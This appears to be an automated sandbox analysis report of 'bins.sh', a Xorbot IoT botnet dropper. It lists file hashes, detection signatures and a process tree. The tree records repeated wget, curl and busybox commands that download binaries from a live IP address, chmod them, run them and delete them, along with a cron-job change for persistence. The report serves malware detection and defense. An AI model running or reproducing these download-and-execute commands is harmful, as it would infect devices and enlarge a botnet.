Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/12/2024, 18:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6d4037130b20353b10064ed9679e3c81

  • SHA1

    feac3dc2421c23aea64020407c83001b0e5a7080

  • SHA256

    8636ffc4c47b05053967830b8119844279ab787ccc8245eebaa8fcab55c73a6a

  • SHA512

    88c3c343c10f832fd187d0681c9677e79047ecd7a204bd2a37dcf5451457d60069ed47e272eb4e0451070dd849e5fbd634a660d177d14d55d0d12782ab3d740e

  • SSDEEP

    192:P5J23fjFLdFNeHzfWffZBuPrM8VyUjUTUCUfBUtU4pFNeHz3ZBuPrjehUjUTUCUu:P5J23fjFA+fZBuPrM8VyUjUTUCUfBUty

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:746
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
          • Writes file to tmp directory
          PID:748
        • /bin/chmod
          chmod 777 GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
          • File and Directory Permissions Modification
          PID:749
        • /tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          ./GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
          • Executes dropped EXE
          PID:750
        • /bin/rm
          rm GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
          2⤵
            PID:752
          • /usr/bin/wget
            wget http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
            • Writes file to tmp directory
            PID:753
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:754
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            ./Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
            • Executes dropped EXE
            PID:767
          • /bin/rm
            rm Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
            2⤵
              PID:771
            • /usr/bin/wget
              wget http://216.126.231.164/bins/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
              • Writes file to tmp directory
              PID:772
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
              • Writes file to tmp directory
              PID:806
            • /bin/chmod
              chmod 777 dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              ./dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
              2⤵
                PID:811
              • /usr/bin/wget
                wget http://216.126.231.164/bins/qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                2⤵
                • Writes file to tmp directory
                PID:812
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:813
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/chmod
                chmod 777 qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                ./qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:820
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:822
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:824
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:826
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:827
                    • /bin/rm
                      rm qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF
                      2⤵
                        PID:838
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • System Network Configuration Discovery
                        PID:842
                      • /usr/bin/curl
                        curl -O http://216.126.231.164/bins/cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • System Network Configuration Discovery
                        PID:845
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.164/bins/cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:848
                      • /bin/chmod
                        chmod 777 cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • File and Directory Permissions Modification
                        PID:939
                      • /tmp/cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        ./cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery
                        PID:940
                      • /bin/rm
                        rm cclAIpypoczxIASvnqANtnAul2RbIWp4z8
                        2⤵
                        • System Network Configuration Discovery
                        PID:942
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                        2⤵
                          PID:943
                        • /usr/bin/curl
                          curl -O http://216.126.231.164/bins/D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          2⤵
                          • Reads runtime system information
                          PID:944
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.164/bins/D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          2⤵
                          • Writes file to tmp directory
                          PID:945
                        • /bin/chmod
                          chmod 777 D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          2⤵
                          • File and Directory Permissions Modification
                          PID:946
                        • /tmp/D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          ./D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          2⤵
                          • Executes dropped EXE
                          PID:947
                        • /bin/rm
                          rm D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4
                          2⤵
                            PID:949
                          • /usr/bin/wget
                            wget http://216.126.231.164/bins/lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                            2⤵
                              PID:950
                            • /usr/bin/curl
                              curl -O http://216.126.231.164/bins/lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                              2⤵
                                PID:951
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.164/bins/lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                                2⤵
                                • Writes file to tmp directory
                                PID:952
                              • /bin/chmod
                                chmod 777 lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                                2⤵
                                • File and Directory Permissions Modification
                                PID:953
                              • /tmp/lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                                ./lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                                2⤵
                                • Executes dropped EXE
                                PID:954
                              • /bin/rm
                                rm lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s
                                2⤵
                                  PID:956
                                • /usr/bin/wget
                                  wget http://216.126.231.164/bins/YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                  2⤵
                                    PID:957
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.164/bins/YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                    2⤵
                                      PID:958
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.164/bins/YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:959
                                    • /bin/chmod
                                      chmod 777 YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:972
                                    • /tmp/YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                      ./YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                      2⤵
                                      • Executes dropped EXE
                                      PID:973
                                    • /bin/rm
                                      rm YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe
                                      2⤵
                                        PID:975
                                      • /usr/bin/wget
                                        wget http://216.126.231.164/bins/bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                        2⤵
                                          PID:976
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.164/bins/bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                          2⤵
                                            PID:977
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.164/bins/bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:978
                                          • /bin/chmod
                                            chmod 777 bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:979
                                          • /tmp/bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                            ./bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                            2⤵
                                            • Executes dropped EXE
                                            PID:980
                                          • /bin/rm
                                            rm bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm
                                            2⤵
                                              PID:982
                                            • /usr/bin/wget
                                              wget http://216.126.231.164/bins/yRu9uoU59iULf1MRGuuVjcGkAYiBzB64qU
                                              2⤵
                                                PID:983

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/D2S0qIxtVL0ZKdvIQQcMFEXQ5zDh9F1tO4

                                              Filesize

                                              111KB

                                              MD5

                                              ca897a38f23ec23521ce0b1b83f8422d

                                              SHA1

                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                              SHA256

                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                              SHA512

                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                            • /tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /tmp/YrsEOMPv0nCn9qsvi7SLTufdfUV11berVe

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /tmp/bYvLsxLbI94osNjAt9ObXFWuWv40VZyyUm

                                              Filesize

                                              127KB

                                              MD5

                                              89077b7bd4bcafca7713be43635c4862

                                              SHA1

                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                              SHA256

                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                              SHA512

                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                            • /tmp/cclAIpypoczxIASvnqANtnAul2RbIWp4z8

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /tmp/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb

                                              Filesize

                                              111KB

                                              MD5

                                              701e7a55a4f3650f5feee92a9860e5fc

                                              SHA1

                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                              SHA256

                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                              SHA512

                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                            • /tmp/lRxgbQDMfzaS4UjYPzsV7iyEDFRKhzt15s

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/qu7Ki6hrMGhn5RkGh8eZ8WTIDzD9KQNQbF

                                              Filesize

                                              151KB

                                              MD5

                                              6c583043d91c55aa470c08c87058e917

                                              SHA1

                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                              SHA256

                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                              SHA512

                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                            • /var/spool/cron/crontabs/tmp.0d64aJ

                                              Filesize

                                              210B

                                              MD5

                                              ac7bd57d7a5e6734fd1d9167a4a6df2e

                                              SHA1

                                              25d594e449c4cede9a3a2859cc4e38403710cbcf

                                              SHA256

                                              7d02ee6d1ed42112e2bf5bbb491bbce6af00b84be53e1fffc54ddef6095c0a25

                                              SHA512

                                              a267ebf78b5b4aabf8c9ab36712ce7f9ebca1989e0adafb40752c17bd89c7a03a53f979625d9460490ef8f3d8e63ce2e7e8317e678af7454e7dd463463dbb12f